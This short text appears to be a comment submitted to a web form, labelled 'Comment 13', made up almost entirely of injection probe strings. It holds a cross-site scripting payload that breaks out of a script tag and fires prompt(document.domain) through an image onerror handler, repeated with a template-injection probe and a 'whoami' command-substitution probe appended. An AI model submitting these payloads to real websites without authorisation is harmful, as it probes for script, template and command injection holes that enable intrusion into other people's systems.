'"></script><img src=x onerror=prompt(document.domain)>

'"></script><img src=x onerror=prompt(document.domain)>${{7*7}}-'whoami'

Comment 13